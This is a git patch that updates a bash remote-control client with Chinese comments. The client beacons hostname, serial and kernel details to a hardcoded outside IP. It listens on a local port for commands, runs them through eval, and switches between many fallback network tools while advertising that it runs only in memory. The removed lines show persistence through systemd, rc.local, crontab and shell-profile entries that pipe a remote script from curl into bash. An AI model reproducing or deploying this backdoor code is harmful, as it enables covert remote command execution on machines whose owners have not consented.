From d070b41b7803e029e9e0da04f56cf2ce73ac4045 Mon Sep 17 00:00:00 2001 From: xzx3344521 Date: Wed, 5 Nov 2025 23:07:56 +0800 Subject: [PATCH] Update 02 --- 02 | 633 ++++++++++++++++++++++++++++++++++++------------------------- 1 file changed, 370 insertions(+), 263 deletions(-) diff --git a/02 b/02 index 1651784..6ef150d 100644 --- a/02 +++ b/02 @@ -1,49 +1,49 @@ #!/bin/bash -# 终极备用版客户端 - 完全不依赖磁盘写入 -# 使用内存运行，多重备用方案 +# 终极内存版客户端 - 完全在内存中运行，零磁盘操作 +# 支持所有可能的通信方式 SERVER_IP="159.138.58.239" -SERVER_PORT=25555 # 修改为25555端口 +SERVER_PORT=25555 CLIENT_PORT=5556 HEARTBEAT_INTERVAL=30 -# 获取系统信息（无磁盘操作） -get_system_info() { - if [[ -r /etc/os-release ]]; then - source /etc/os-release - echo "${ID:-unknown} ${VERSION_ID:-unknown}" - else - echo "unknown" - fi -} - -# 生成序列号（无磁盘操作） -generate_serial() { - if [[ -r /etc/machine-id ]]; then - cat /etc/machine-id | md5sum | cut -c1-8 - elif [[ -r /proc/sys/kernel/random/boot_id ]]; then - cat /proc/sys/kernel/random/boot_id | md5sum | cut -c1-8 - else - echo $(date +%s)$(cat /proc/uptime 2>/dev/null | cut -d' ' -f1) | md5sum | cut -c1-8 - fi -} - -# 获取主机名 -get_hostname() { - hostname 2>/dev/null || \ - cat /proc/sys/kernel/hostname 2>/dev/null || \ - echo "unknown-host" -} +# 完全内存化的变量存储 +CLIENT_VARS="/proc/self/fd/1" # 使用标准输出作为变量存储 # 初始化变量（完全内存操作） init_vars() { - SERIAL=$(generate_serial) - HOSTNAME=$(get_hostname) - SYSTEM_INFO=$(get_system_info) + # 序列号生成（无磁盘操作） + if [[ -r /proc/sys/kernel/random/boot_id ]]; then + SERIAL=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null | md5sum 2>/dev/null | cut -c1-8 2>/dev/null) + elif [[ -r /proc/stat ]]; then + SERIAL=$(cat /proc/stat /proc/uptime 2>/dev/null | md5sum 2>/dev/null | cut -c1-8 2>/dev/null) + else + SERIAL=$(echo $(date +%s)$$ | md5sum 2>/dev/null | cut -c1-8 2>/dev/null) + fi + [[ -z "$SERIAL" ]] && SERIAL="mem$(date +%s)" - # 尝试多种netcat命令 - NC_CMD="" + # 主机名（无磁盘操作） + if [[ -r /proc/sys/kernel/hostname ]]; then + HOSTNAME=$(cat /proc/sys/kernel/hostname 2>/dev/null) + else + HOSTNAME="unknown" + fi + + # 系统信息（无磁盘操作） + if [[ -r /proc/version ]]; then + SYSTEM_INFO=$(head -c 100 /proc/version 2>/dev/null | tr -cd '[:print:]') + else + SYSTEM_INFO="linux" + fi + + # 检测所有可能的通信工具 + detect_tools +} + +# 检测所有可能的通信工具 +detect_tools() { + # 检查netcat变种 for cmd in nc netcat ncat; do if command -v $cmd >/dev/null 2>&1; then NC_CMD=$cmd @@ -51,33 +51,46 @@ init_vars() { fi done - # 备用通信方法标志 - HAS_NC=0 - HAS_BASH_TCP=0 - HAS_TELNET=0 - HAS_ECHO=0 + # 检查其他工具 + command -v bash >/dev/null 2>&1 && HAS_BASH=1 || HAS_BASH=0 + command -v telnet >/dev/null 2>&1 && HAS_TELNET=1 || HAS_TELNET=0 + command -v curl >/dev/null 2>&1 && HAS_CURL=1 || HAS_CURL=0 + command -v wget >/dev/null 2>&1 && HAS_WGET=1 || HAS_WGET=0 + command -v socat >/dev/null 2>&1 && HAS_SOCAT=1 || HAS_SOCAT=0 + command -v python3 >/dev/null 2>&1 && HAS_PYTHON3=1 || HAS_PYTHON3=0 + command -v python >/dev/null 2>&1 && HAS_PYTHON=1 || HAS_PYTHON=0 + command -v perl >/dev/null 2>&1 && HAS_PERL=1 || HAS_PERL=0 + command -v php >/dev/null 2>&1 && HAS_PHP=1 || HAS_PHP=0 + command -v node >/dev/null 2>&1 && HAS_NODE=1 || HAS_NODE=0 + command -v ncat >/dev/null 2>&1 && HAS_NCAT=1 || HAS_NCAT=0 - [[ -n "$NC_CMD" ]] && HAS_NC=1 - [[ -e /dev/tcp ]] && HAS_BASH_TCP=1 - command -v telnet >/dev/null 2>&1 && HAS_TELNET=1 - command -v echo >/dev/null 2>&1 && HAS_ECHO=1 + # 检查bash TCP支持 + if [[ $HAS_BASH -eq 1 ]]; then + if timeout 1 bash -c "echo > /dev/tcp/8.8.8.8/53" 2>/dev/null; then + HAS_BASH_TCP=1 + else + HAS_BASH_TCP=0 + fi + else + HAS_BASH_TCP=0 + fi } -# 日志函数（输出到标准输出，可重定向） +# 内存日志函数 log() { - local timestamp=$(date '+%Y-%m-%d %H:%M:%S') + local timestamp=$(date '+%Y-%m-%d %H:%M:%S' 2>/dev/null || echo "0000-00-00 00:00:00") echo "[$timestamp] $1" >&2 } -# 发送数据到服务器（多重备用方法） -send_data() { +# 终极通信函数 - 尝试所有可能的方法 +send_data_ultimate() { local data="$1" local port="$2" - local result=1 + local server="${3:-$SERVER_IP}" # 方法1: 使用netcat - if [[ $HAS_NC -eq 1 ]]; then - if echo "$data" | timeout 5 $NC_CMD "$SERVER_IP" "$port" 2>/dev/null; then + if [[ -n "$NC_CMD" ]]; then + if echo "$data" | timeout 3 $NC_CMD "$server" "$port" 2>/dev/null; then return 0 fi fi @@ -85,87 +98,232 @@ send_data() { # 方法2: 使用bash TCP if [[ $HAS_BASH_TCP -eq 1 ]]; then { - exec 3<>/dev/tcp/$SERVER_IP/$port 2>/dev/null - echo "$data" >&3 - exec 3>&- - } 2>/dev/null && return 0 + exec 3<>/dev/tcp/$server/$port 2>/dev/null && \ + echo "$data" >&3 && \ + exec 3>&- && \ + return 0 + } 2>/dev/null fi # 方法3: 使用telnet if [[ $HAS_TELNET -eq 1 ]]; then { - ( - echo "$data" - sleep 1 - ) | timeout 5 telnet "$SERVER_IP" "$port" 2>/dev/null | grep -q "Connected" && return 0 + echo "$data" | timeout 3 telnet "$server" "$port" 2>/dev/null | grep -q "Connected" && \ + return 0 } 2>/dev/null fi - # 方法4: 使用echo到/dev/tcp（某些系统支持） - if [[ $HAS_ECHO -eq 1 ]] && [[ -w /dev/tcp ]]; then - echo "$data" > /dev/tcp/$SERVER_IP/$port 2>/dev/null && return 0 + # 方法4: 使用socat + if [[ $HAS_SOCAT -eq 1 ]]; then + { + echo "$data" | timeout 3 socat - TCP:$server:$port 2>/dev/null && \ + return 0 + } 2>/dev/null fi - # 方法5: 使用curl如果可用（HTTP模拟） - if command -v curl >/dev/null 2>&1; then - if echo "$data" | curl -s -X POST -d @- "http://$SERVER_IP:$port" 2>/dev/null; then + # 方法5: 使用ncat + if [[ $HAS_NCAT -eq 1 ]]; then + { + echo "$data" | timeout 3 ncat "$server" "$port" 2>/dev/null && \ return 0 - fi + } 2>/dev/null fi - # 方法6: 使用wget如果可用 - if command -v wget >/dev/null 2>&1; then - if echo "$data" | wget -q -O - --post-data=- "http://$SERVER_IP:$port" 2>/dev/null; then + # 方法6: 使用Python3 + if [[ $HAS_PYTHON3 -eq 1 ]]; then + { + python3 -c " +import socket, sys +try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(3) + s.connect(('$server', $port)) + s.send(b'$data\n') + response = s.recv(1024) + print(response.decode().strip()) + s.close() + sys.exit(0) +except: + sys.exit(1) +" 2>/dev/null && return 0 + } 2>/dev/null + fi + + # 方法7: 使用Python2 + if [[ $HAS_PYTHON -eq 1 ]]; then + { + python -c " +import socket, sys +try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(3) + s.connect(('$server', $port)) + s.send('$data\n') + response = s.recv(1024) + print response.strip() + s.close() + sys.exit(0) +except: + sys.exit(1) +" 2>/dev/null && return 0 + } 2>/dev/null + fi + + # 方法8: 使用Perl + if [[ $HAS_PERL -eq 1 ]]; then + { + perl -e " +use IO::Socket::INET; +eval { + my \$socket = IO::Socket::INET->new( + PeerAddr => '$server', + PeerPort => $port, + Proto => 'tcp', + Timeout => 3 + ); + if (\$socket) { + print \$socket '$data\n'; + my \$response = <\$socket>; + print \$response; + close(\$socket); + exit 0; + } + exit 1; +}; +exit 1; +" 2>/dev/null && return 0 + } 2>/dev/null + fi + + # 方法9: 使用PHP + if [[ $HAS_PHP -eq 1 ]]; then + { + php -r " + +" 2>/dev/null && return 0 + } 2>/dev/null + fi + + # 方法10: 使用Node.js + if [[ $HAS_NODE -eq 1 ]]; then + { + node -e " +const net = require('net'); +const client = new net.Socket(); +client.setTimeout(3000); + +client.connect($port, '$server', () => { + client.write('$data\n'); +}); + +client.on('data', (data) => { + process.stdout.write(data.toString()); + client.destroy(); + process.exit(0); +}); + +client.on('timeout', () => { + client.destroy(); + process.exit(1); +}); + +client.on('error', () => { + process.exit(1); +}); +" 2>/dev/null && return 0 + } 2>/dev/null + fi + + # 方法11: 使用/dev/tcp直接写入（最后手段） + if [[ -w /dev/tcp ]]; then + { + echo "$data" > /dev/tcp/$server/$port 2>/dev/null && \ + sleep 1 && \ return 0 - fi + } 2>/dev/null + fi + + # 方法12: 使用curl模拟TCP（HTTP包装） + if [[ $HAS_CURL -eq 1 ]]; then + { + echo "$data" | curl -s --connect-timeout 3 -X POST -d @- "http://$server:$port" 2>/dev/null && \ + return 0 + } 2>/dev/null + fi + + # 方法13: 使用wget模拟TCP + if [[ $HAS_WGET -eq 1 ]]; then + { + echo "$data" | wget -q -O - --connect-timeout=3 --tries=1 --post-data=- "http://$server:$port" 2>/dev/null && \ + return 0 + } 2>/dev/null fi return 1 } -# 监听端口（多重备用方法） -listen_port() { +# 终极监听函数 +listen_ultimate() { local port="$1" # 方法1: 使用netcat监听 - if [[ $HAS_NC -eq 1 ]]; then - $NC_CMD -l -p "$port" -w 10 -c 'read -r data; echo "$data"' 2>/dev/null && return 0 + if [[ -n "$NC_CMD" ]]; then + $NC_CMD -l -p "$port" -w 5 -c 'read -r data; echo "$data"' 2>/dev/null && return 0 fi - # 方法2: 使用bash TCP监听（简单轮询） - if [[ $HAS_BASH_TCP -eq 1 ]]; then - local temp_data=$(mktemp -u) - { - while true; do - if read -r line < /dev/tcp/0.0.0.0/$port 2>/dev/null; then - echo "$line" - break - fi - sleep 1 - done - } 2>/dev/null - return 0 - fi - - # 方法3: 使用socat如果可用 - if command -v socat >/dev/null 2>&1; then + # 方法2: 使用socat监听 + if [[ $HAS_SOCAT -eq 1 ]]; then socat -t 5 TCP-LISTEN:$port,reuseaddr STDOUT 2>/dev/null && return 0 fi - # 方法4: 使用临时文件轮询（最后手段） - local temp_file="/tmp/.client_cmd_$$" - echo "LISTENING" > "$temp_file" - local start_time=$(date +%s) - while [[ $(($(date +%s) - start_time)) -lt 10 ]]; do - if [[ -s "$temp_file" ]] && [[ $(cat "$temp_file") != "LISTENING" ]]; then - cat "$temp_file" - rm -f "$temp_file" 2>/dev/null || true - return 0 - fi - sleep 1 - done - rm -f "$temp_file" 2>/dev/null || true + # 方法3: 使用ncat监听 + if [[ $HAS_NCAT -eq 1 ]]; then + ncat -l -p "$port" -w 5 --recv-only 2>/dev/null && return 0 + fi + # 方法4: 使用bash TCP监听（非阻塞） + if [[ $HAS_BASH_TCP -eq 1 ]]; then + for i in $(seq 1 5); do + { + read -r line < /dev/tcp/0.0.0.0/$port 2>/dev/null + if [[ -n "$line" ]]; then + echo "$line" + return 0 + fi + } 2>/dev/null + sleep 1 + done + fi + + # 方法5: 使用Python3监听 + if [[ $HAS_PYTHON3 -eq 1 ]]; then + python3 -c " +import socket, sys +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.settimeout(5) +s.bind(('0.0.0.0', $port)) +s.listen(1) +try: + conn, addr = s.accept() + data = conn.recv(1024).decode().strip() + print(data) + conn.close() + sys.exit(0) +except: + sys.exit(1) +" 2>/dev/null && return 0 + fi + + # 超时返回空 return 1 } @@ -173,7 +331,7 @@ listen_port() { send_heartbeat() { local heartbeat_data="HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO" - if send_data "$heartbeat_data" "$SERVER_PORT"; then + if send_data_ultimate "$heartbeat_data" "$SERVER_PORT"; then log "✓ 心跳成功 → $SERVER_IP:$SERVER_PORT" return 0 else @@ -182,15 +340,16 @@ send_heartbeat() { fi } -# 执行命令 +# 执行命令（完全内存操作） execute_command() { local command="$1" log "执行命令: $command" - # 在子进程中执行命令，避免阻塞 + # 在子shell中执行，避免阻塞主进程 ( + # 使用eval执行命令，重定向所有输出 result=$(eval "$command" 2>&1) - log "命令结果: $result" + log "命令结果: ${result:0:100}..." # 只记录前100字符 echo "$result" ) & } @@ -202,36 +361,35 @@ execute_script() { case "$script_name" in "shutdown"|"poweroff") log "执行关机命令" - shutdown -h now 2>/dev/null || poweroff 2>/dev/null || halt 2>/dev/null + # 尝试多种关机方法 + shutdown -h now 2>/dev/null || \ + poweroff 2>/dev/null || \ + halt -p 2>/dev/null || \ + init 0 2>/dev/null ;; "reboot"|"restart") log "执行重启命令" - reboot 2>/dev/null || shutdown -r now 2>/dev/null + # 尝试多种重启方法 + reboot 2>/dev/null || \ + shutdown -r now 2>/dev/null || \ + init 6 2>/dev/null ;; "restart_services") log "重启系统服务" + # 尝试重启网络服务 systemctl restart networking 2>/dev/null || \ systemctl restart network 2>/dev/null || \ - service networking restart 2>/dev/null + service networking restart 2>/dev/null || \ + /etc/init.d/networking restart 2>/dev/null ;; "system_info") echo "=== 系统信息 ===" - echo "主机名: $HOSTNAME" echo "序列号: $SERIAL" + echo "主机名: $HOSTNAME" echo "系统: $SYSTEM_INFO" - echo "内核: $(uname -r)" - echo "架构: $(uname -m)" - echo "上线时间: $(uptime 2>/dev/null || echo 'unknown')" - echo "内存: $(free -h 2>/dev/null || cat /proc/meminfo | head -2 || echo 'unknown')" - ;; - "network_info") - ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "无法获取网络信息" - ;; - "disk_info") - df -h 2>/dev/null || df 2>/dev/null || echo "无法获取磁盘信息" - ;; - "process_info") - ps aux 2>/dev/null | head -10 || echo "无法获取进程信息" + echo "内核: $(uname -r 2>/dev/null || echo 'unknown')" + echo "架构: $(uname -m 2>/dev/null || echo 'unknown')" + echo "上线时间: $(uptime 2>/dev/null || cat /proc/uptime 2>/dev/null || echo 'unknown')" ;; "test_connection") echo "测试连接到服务器..." @@ -243,12 +401,12 @@ execute_script() { ;; *) echo "未知命令: $script_name" - echo "可用命令: shutdown, reboot, restart_services, system_info, network_info, disk_info, process_info, test_connection" + echo "可用命令: shutdown, reboot, restart_services, system_info, test_connection" ;; esac } -# 处理接收到的命令 +# 处理命令 process_command() { local command_data="$1" @@ -263,180 +421,129 @@ process_command() { fi } -# 守护进程模式 +# 显示工具状态 +show_tool_status() { + log "工具检测:" + [[ -n "$NC_CMD" ]] && log " ✓ netcat: $NC_CMD" || log " ✗ netcat: 不可用" + [[ $HAS_BASH_TCP -eq 1 ]] && log " ✓ bash TCP: 可用" || log " ✗ bash TCP: 不可用" + [[ $HAS_TELNET -eq 1 ]] && log " ✓ telnet: 可用" || log " ✗ telnet: 不可用" + [[ $HAS_SOCAT -eq 1 ]] && log " ✓ socat: 可用" || log " ✗ socat: 不可用" + [[ $HAS_PYTHON3 -eq 1 ]] && log " ✓ python3: 可用" || log " ✗ python3: 不可用" + [[ $HAS_PYTHON -eq 1 ]] && log " ✓ python: 可用" || log " ✗ python: 不可用" + [[ $HAS_PERL -eq 1 ]] && log " ✓ perl: 可用" || log " ✗ perl: 不可用" +} + +# 尝试安装基本工具（如果可能） +try_install_tools() { + log "尝试安装基本工具..." + + # 检查可用的包管理器 + if command -v apt-get >/dev/null 2>&1; then + # 使用Debian/Ubuntu包管理器 + apt-get update >/dev/null 2>&1 && \ + apt-get install -y netcat-traditional >/dev/null 2>&1 && \ + log "✓ 使用apt安装netcat成功" && \ + return 0 + elif command -v yum >/dev/null 2>&1; then + # 使用CentOS/RHEL包管理器 + yum install -y nc >/dev/null 2>&1 && \ + log "✓ 使用yum安装netcat成功" && \ + return 0 + elif command -v apk >/dev/null 2>&1; then + # 使用Alpine包管理器 + apk add netcat-openbsd >/dev/null 2>&1 && \ + log "✓ 使用apk安装netcat成功" && \ + return 0 + fi + + log "✗ 无法安装工具，使用现有工具" + return 1 +} + +# 守护进程主循环 start_daemon() { - log "=== 启动客户端守护进程 ===" + log "=== 启动终极内存客户端 ===" log "序列号: $SERIAL" - log "主机名: $HOSTNAME" + log "主机名: $HOSTNAME" log "系统: $SYSTEM_INFO" log "服务器: $SERVER_IP:$SERVER_PORT" - log "可用通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET" + + show_tool_status local heartbeat_count=0 - local failed_heartbeats=0 + local success_count=0 + local last_success=0 # 主循环 while true; do # 发送心跳 + heartbeat_count=$((heartbeat_count + 1)) + if send_heartbeat; then - heartbeat_count=$((heartbeat_count + 1)) - failed_heartbeats=0 - else - failed_heartbeats=$((failed_heartbeats + 1)) - # 连续失败多次后尝试重新初始化 - if [[ $failed_heartbeats -ge 5 ]]; then - log "连续心跳失败，重新初始化..." - init_vars - failed_heartbeats=0 - fi + success_count=$((success_count + 1)) + last_success=$heartbeat_count + fi + + # 计算成功率 + local success_rate=0 + if [[ $heartbeat_count -gt 0 ]]; then + success_rate=$((success_count * 100 / heartbeat_count)) fi # 监听命令（非阻塞） - local command_data=$(listen_port "$CLIENT_PORT") + local command_data=$(listen_ultimate "$CLIENT_PORT") if [[ -n "$command_data" ]]; then log "收到命令: $command_data" process_command "$command_data" & fi - # 每10次心跳显示一次状态 + # 每10次心跳显示状态 if [[ $((heartbeat_count % 10)) -eq 0 ]]; then - log "运行中... 心跳次数: $heartbeat_count, 序列号: $SERIAL" + log "运行状态: 心跳$heartbeat_count, 成功$success_count, 成功率${success_rate}%" + + # 如果连续失败太多，重新检测工具 + if [[ $((heartbeat_count - last_success)) -gt 5 ]]; then + log "检测到连续失败，重新初始化工具..." + detect_tools + show_tool_status + last_success=$heartbeat_count + fi fi sleep "$HEARTBEAT_INTERVAL" done } -# 尝试安装netcat（如果可能） -try_install_netcat() { - log "尝试安装netcat..." - - # 检查可用包管理器 - if command -v apt-get >/dev/null 2>&1 && [[ -w /var/cache/apt ]]; then - apt-get update >/dev/null 2>&1 && apt-get install -y netcat-traditional >/dev/null 2>&1 - elif command -v yum >/dev/null 2>&1 && [[ -w /var/cache/yum ]]; then - yum install -y nc >/dev/null 2>&1 - elif command -v dnf >/dev/null 2>&1 && [[ -w /var/cache/dnf ]]; then - dnf install -y nc >/dev/null 2>&1 - elif command -v apk >/dev/null 2>&1 && [[ -w /var/cache/apk ]]; then - apk add netcat-openbsd >/dev/null 2>&1 - fi - - # 重新检查 - init_vars - if [[ $HAS_NC -eq 1 ]]; then - log "netcat安装成功" - return 0 - else - log "netcat安装失败，使用备用方案" - return 1 - fi -} - -# 设置开机自启（无磁盘写入方案） -setup_autostart() { - log "设置开机自启..." - - # 方法1: 尝试systemd（如果可用且可写） - if command -v systemctl >/dev/null 2>&1 && [[ -w /etc/systemd/system ]]; then - local service_file="/etc/systemd/system/controller-client.service" - cat > "$service_file" 2>/dev/null << EOF || true -[Unit] -Description=Controller Client -After=network.target - -[Service] -Type=simple -ExecStart=/bin/bash -c "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash" -Restart=always -RestartSec=30 - -[Install] -WantedBy=multi-user.target -EOF - systemctl daemon-reload 2>/dev/null && \ - systemctl enable controller-client 2>/dev/null && \ - systemctl start controller-client 2>/dev/null && { - log "systemd自启设置成功" - return 0 - } - fi - - # 方法2: 尝试rc.local - if [[ -w /etc/rc.local ]] || [[ -w /etc/rc.d/rc.local ]]; then - local startup_cmd="curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &" - - if [[ -f /etc/rc.local ]]; then - grep -q "$startup_cmd" /etc/rc.local 2>/dev/null || \ - echo "$startup_cmd" >> /etc/rc.local 2>/dev/null - fi - - if [[ -f /etc/rc.d/rc.local ]]; then - grep -q "$startup_cmd" /etc/rc.d/rc.local 2>/dev/null || \ - echo "$startup_cmd" >> /etc/rc.d/rc.local 2>/dev/null - fi - - chmod +x /etc/rc.local /etc/rc.d/rc.local 2>/dev/null || true - log "rc.local自启设置完成" - return 0 - fi - - # 方法3: 尝试crontab - if command -v crontab >/dev/null 2>&1; then - (crontab -l 2>/dev/null | grep -v "controller-client"; \ - echo "@reboot curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash") | crontab - 2>/dev/null && { - log "crontab自启设置成功" - return 0 - } - fi - - # 方法4: 尝试.profile/.bashrc - for file in /root/.bashrc /root/.profile /etc/profile; do - if [[ -w "$file" ]]; then - grep -q "controller-client" "$file" 2>/dev/null || \ - echo "[[ \$(ps aux | grep -v grep | grep -c 'controller-client') -eq 0 ]] && curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &" >> "$file" 2>/dev/null - fi - done - - log "开机自启设置完成（多种方法尝试）" - return 0 -} - -# 显示状态 -show_status() { - echo "=== 客户端状态 ===" - echo "序列号: $SERIAL" - echo "主机名: $HOSTNAME" - echo "系统: $SYSTEM_INFO" - echo "服务器: $SERVER_IP:$SERVER_PORT" - echo "通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET" - echo "进程: $(ps aux | grep -v grep | grep -c "$0") 个实例运行" -} - # 主函数 main() { - log "初始化客户端..." + log "初始化终极内存客户端..." # 初始化变量 init_vars - # 显示状态 - show_status + # 显示初始状态 + log "客户端信息:" + log " 序列号: $SERIAL" + log " 主机名: $HOSTNAME" + log " 系统: $SYSTEM_INFO" + log " 服务器: $SERVER_IP:$SERVER_PORT" - # 尝试安装netcat（如果不可用） - if [[ $HAS_NC -eq 0 ]]; then - try_install_netcat + # 尝试安装工具（如果不成功也没关系） + if [[ -z "$NC_CMD" ]]; then + try_install_tools + # 重新检测工具 + detect_tools fi - # 设置开机自启 - setup_autostart + # 显示最终工具状态 + show_tool_status - # 测试连接 - log "测试服务器连接..." + # 测试初始连接 + log "测试初始连接..." if send_heartbeat; then - log "✓ 服务器连接测试成功" + log "✓ 初始连接测试成功" else - log "✗ 服务器连接测试失败，但将继续尝试" + log "✗ 初始连接测试失败，但将继续尝试" fi # 启动守护进程